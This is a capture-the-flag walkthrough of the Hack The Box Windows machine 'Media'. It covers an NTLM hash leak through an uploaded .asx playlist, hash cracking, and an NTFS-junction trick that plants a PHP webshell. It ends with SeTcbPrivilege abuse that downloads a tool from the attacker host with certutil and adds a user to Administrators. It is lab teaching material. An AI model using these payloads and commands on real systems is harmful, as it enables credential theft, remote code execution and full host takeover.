Miguel.sh

Media

A scheduled review service opens uploaded playlists in Windows Media Player, leaking a NetNTLMv2 hash over SMB. With the cracked password, a PHP upload directory is replaced with an NTFS junction into the webroot, turning the web server's own upload into a webshell running as LocalService with SeTcbPrivilege, which TcbElevation converts to SYSTEM.

Category
machine
Source
HTB
OS
windows
Difficulty
medium
Released
Tags
windowsxamppntlmresponderhashcatntfs-junctionsetcbprivilegewebshell
Tools
nmap, curl, zap, responder, hashcat, ssh, certutil

Attack path

flowchart LR
  A[nmap 22/80/3389] --> B[Upload form<br/>no extension filter]
  B --> C[.asx playlist<br/>with UNC path]
  C --> D[Responder captures<br/>NetNTLMv2 enox]
  D --> E[hashcat cracks<br/>enox password]
  E --> F[SSH as enox<br/>user.txt]
  F --> G[Review pipeline mapped:<br/>md5 upload dirs + todo.txt]
  G --> H[mklink /J upload dir<br/>to webroot]
  H --> I[Webshell as LocalService<br/>SeTcbPrivilege]
  I --> J[TcbElevation<br/>SYSTEM adds enox to admins]
  J --> K[root.txt]

Recon

Step 1 — Port scan

nmap
sudo nmap -sV -sC -T4 10.129.234.67 -p- -o nmap.txt
nmap
22/tcp open ssh OpenSSH for_Windows_9.5 (protocol 2.0)
80/tcp open http Apache httpd 2.4.56 ((Win64) OpenSSL/1.1.1t PHP/8.1.17)
|_http-title: ProMotion Studio
3389/tcp open ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
| NetBIOS_Domain_Name: MEDIA
| DNS_Computer_Name: MEDIA
| Product_Version: 10.0.20348

Three ports. The host is a standalone Windows Server 2022 (workgroup MEDIA), running an XAMPP stack on port 80. All other ports are filtered, so there is no SMB, WinRM, or Kerberos to enumerate externally.

Step 2 — Web application

curl
curl -s http://10.129.234.67/

The site is a single Bootstrap landing page for “ProMotion Studio” with one function: a hiring form that submits a multipart POST to / with fields firstname, lastname, email, and fileToUpload. The form text asks for a video “compatible with Windows Media Player”, which implies something on the host opens the uploads.

Landing page with the hiring form

Step 3 — Upload filter test

curl
curl -s -X POST http://10.129.234.67/ \
-F 'firstname=John' -F 'lastname=Doe' -F 'email=john@example.com' \
-F 'fileToUpload=@shell.php;type=video/mp4' \
-F 'submit=Upload File'
response
<script>alert('Your application was successfully submitted. Our HR shall review your video and get back to you.');</script>

A file with a .php extension and PHP content is accepted. The message also states that a reviewer will open the video, confirming the uploads are processed on the host.

Regular video upload accepted

PHP file accepted with the same success message

Foothold

Step 4 — Windows Media Player playlist to NTLM leak

Windows Media Player playlist formats (.asx, .wax, .wvx, .wmx) can reference remote resources. When the player resolves a file:// UNC path, it authenticates over SMB. A playlist pointing at the attacker leaks a NetNTLMv2 hash when the review service opens it.

attacker - craft playlist
cat > intro.asx << 'EOF'
<ASX version="3.0">
<ENTRY>
<REF HREF="\\10.10.14.33\videos\intro.wmv"/>
</ENTRY>
</ASX>
EOF
sudo responder -I tun0 -v

Uploading intro.asx through the same form produces the success message, and within a minute Responder records five authentication attempts from 10.129.234.67.

responder
[SMB] NTLMv2-SSP Client : 10.129.234.67
[SMB] NTLMv2-SSP Username : MEDIA\enox
[SMB] NTLMv2-SSP Hash : enox::MEDIA:fe0d4ce351b250ca:e0f313fcc1bd579ef32c42205a1a54cf:01010000...

ASX playlist upload through ZAP

Step 5 — Crack the hash

hashcat
sudo hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt
hashcat
ENOX::MEDIA:fe0d4ce351b250ca:...:1234virus@
Status...........: Cracked

The password for MEDIA\enox is 1234virus@.

Step 6 — SSH access

ssh
ssh enox@10.129.234.67
shell
enox@MEDIA C:\Users\enox>whoami
media\enox

SSH accepts the cracked credentials. whoami /priv shows no exploitable privileges and no group memberships beyond the basics.

Step 7 — User flag

shell
type C:\Users\enox\Desktop\user.txt

user.txt reads <redacted>.

Privilege escalation

Step 8 — Map the review pipeline

The upload handler source is readable in the webroot.

shell
type C:\xampp\htdocs\index.php

Key logic:

index.php (excerpt)
$uploadDir = 'C:/Windows/Tasks/Uploads/';
$folderName = md5($firstname . $lastname . $email);
$targetDir = $uploadDir . $folderName . '/';
mkdir($targetDir, 0777, true);
$sanitizedFilename = preg_replace("/[^a-zA-Z0-9._]/", "", $originalFilename);
move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $targetDir . $sanitizedFilename);
file_put_contents($uploadDir . 'todo.txt',
"Filename: " . $originalFilename . ", Random Variable: " . $folderName . "\n", FILE_APPEND);

Each upload lands in C:\Windows\Tasks\Uploads\<md5(firstname.lastname.email)>\<sanitized-name>, and a line with the raw filename is appended to todo.txt. A Windows service consumes that queue.

shell
reg query HKLM\SYSTEM\CurrentControlSet\Services\ReviewService /s
reg
ObjectName REG_SZ .\enox
ImagePath REG_EXPAND_SZ C:\Program Files\nssm-2.24\win64\nssm.exe
Application REG_EXPAND_SZ C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
AppParameters REG_EXPAND_SZ -ExecutionPolicy Bypass -NoProfile -File C:\Users\enox\Documents\review.ps1

review.ps1 loops on todo.txt, runs Start-Process wmplayer.exe "C:\Windows\Tasks\uploads\<md5>\<raw-filename>", kills the player after 15 seconds, and removes the processed line. Everything in this service runs as enox, so the pipeline itself is not a privilege boundary — but it writes and reads through directories whose ACLs matter in the next steps.

Step 9 — Identify the privilege facts

Three facts from enumeration decide the escalation:

shell
reg query HKLM\SYSTEM\CurrentControlSet\Services\ApacheHTTPServer
icacls C:\Xampp
icacls C:\xampp\htdocs
reg / icacls
ObjectName REG_SZ NT AUTHORITY\Local Service
RequiredPrivileges REG_MULTI_SZ ...SeTcbPrivilege...
C:\Xampp NT AUTHORITY\LOCAL SERVICE:(OI)(CI)(F)
C:\Xampp\htdocs BUILTIN\Users:(I)(OI)(CI)(RX)
  1. Apache runs as NT AUTHORITY\Local Service and its required privileges include SeTcbPrivilege.
  2. LocalService has full control over C:\Xampp, while enox has only read-execute — the webroot cannot be written directly.
  3. The upload directories are created by PHP with mkdir(..., 0777); review.ps1 successfully writes todo.txt.tmp into them as enox every cycle, proving enox can delete and recreate them.

Any file Apache writes through an upload can therefore be redirected: if the <md5> directory is replaced by a junction, move_uploaded_file writes into the junction target as LocalService.

Step 10 — Replace the upload directory with a junction

Upload once with a fixed identity to create the directory, then swap it.

attacker - create the directory
curl -s -X POST http://10.129.234.67/ \
-F 'firstname=j' -F 'lastname=p' -F 'email=j@p.io' \
-F 'fileToUpload=@junk.txt;type=video/mp4' -F 'submit=Upload File'
echo -n "jpj@p.io" | md5sum
3d8e940eaaede8359a89f8e0a70bbbd4 -
shell
cd C:\Windows\Tasks\Uploads
del 3d8e940eaaede8359a89f8e0a70bbbd4\junk.txt
rmdir 3d8e940eaaede8359a89f8e0a70bbbd4
mklink /J 3d8e940eaaede8359a89f8e0a70bbbd4 C:\xampp\htdocs
dir
11/10/2026 05:25 AM <JUNCTION> 3d8e940eaaede8359a89f8e0a70bbbd4 [C:\xampp\htdocs]

The directory name is predictable — the MD5 of the three form fields — so the junction can be created before the second upload.

Step 11 — Webshell as LocalService

attacker - upload through the junction
echo '<?php system($_REQUEST["c"]); ?>' > sh.php
curl -s -X POST http://10.129.234.67/ \
-F 'firstname=j' -F 'lastname=p' -F 'email=j@p.io' \
-F 'fileToUpload=@sh.php;type=video/mp4' -F 'submit=Upload File'
curl -s 'http://10.129.234.67/sh.php?c=whoami'
webshell
nt authority\local service

The same identity produces the same MD5 directory, PHP sees the directory already exists through the junction, and sh.php is written into C:\xampp\htdocs by the Apache process. whoami /priv through the webshell shows SeTcbPrivilege.

Step 12 — SeTcbPrivilege to SYSTEM

TcbElevation enables SeTcbPrivilege, hooks AcquireCredentialsHandleW to claim the SYSTEM LUID, and creates a service whose binary path is an arbitrary command; the service control manager starts it as SYSTEM. Prebuilt binaries are published alongside the original gist.

attacker - stage the payload
wget -q "https://github.com/b4lisong/SeTcbPrivilege-Abuse/raw/main/TcbElevation-x64.exe" -O tcb.exe
printf '@echo off\r\nnet localgroup Administrators enox /add\r\n' > add.bat
python3 -m http.server 8000
attacker - through the webshell
curl -s 'http://10.129.234.67/sh.php?c=certutil+-urlcache+-f+http://10.10.14.33:8000/tcb.exe+C:\Windows\Temp\tcb.exe'
curl -s 'http://10.129.234.67/sh.php?c=certutil+-urlcache+-f+http://10.10.14.33:8000/add.bat+C:\Windows\Temp\add.bat'
curl -s 'http://10.129.234.67/sh.php?c=C:\Windows\Temp\tcb.exe+helo+C:\Windows\Temp\add.bat'
webshell
Error starting service 1053

The 1053 error is the service control manager timing out on its handshake with the batch file; the command has already run as SYSTEM. The staged batch avoids spaces in the command line, which keeps the webshell quoting simple.

shell - verify
net localgroup administrators
net localgroup
Members
-------------------------------------------------------------------------------
Administrator
enox

Step 13 — Root flag

A new SSH session as enox now carries the Administrators group.

shell
type C:\Users\Administrator\Desktop\root.txt

root.txt reads <redacted>.

What didn’t work

  • Password reuse: 1234virus@ did not authenticate as administrator over SSH.
  • UserDir webshell: httpd-userdir.conf is included, but LoadModule userdir_module is commented out, so /~enox/ returns 404.
  • Writable service or task lanes: winPEAS and manual registry enumeration found no writable service binaries, no modifiable service configs, and no controllable scheduled tasks. Service and process enumeration through the SCM is denied to standard users on this host.
  • Legacy .job task files: C:\Windows\Tasks accepts file creation by authenticated users, and a legitimately registered V1 task provided a template to forge. The running scheduler ignores dropped .job files; they are only read at service start. A machine reset restores the snapshot and deletes them before any boot scan, so the technique has no trigger here.
  • PsShutdownSvc: a Sysinternals PsShutdown service exists on the host but is stopped, exposes no named pipe, and cannot be started by a standard user.
  • SMB share enumeration: tunneled through SSH, nxc smb --shares showed only the default ADMIN$, C$, and IPC$.

Lessons learned

  • A directory a privileged process writes into, which a low-privilege user can delete and recreate, is an arbitrary-write primitive: replace it with mklink /J and the next write lands at the junction target. Predictable directory names (here, an MD5 of form fields) make this reliable.
  • SeTcbPrivilege alone is enough for SYSTEM: TcbElevation abuses the SSPI credential handle path to claim the SYSTEM logon session and starts a service with an arbitrary command. A failing service handshake (error 1053) does not mean the command failed.
  • Any pipeline that opens user-supplied media in Windows Media Player leaks NTLM authentication: playlist formats reference UNC paths, and the player authenticates to them under the reviewing account.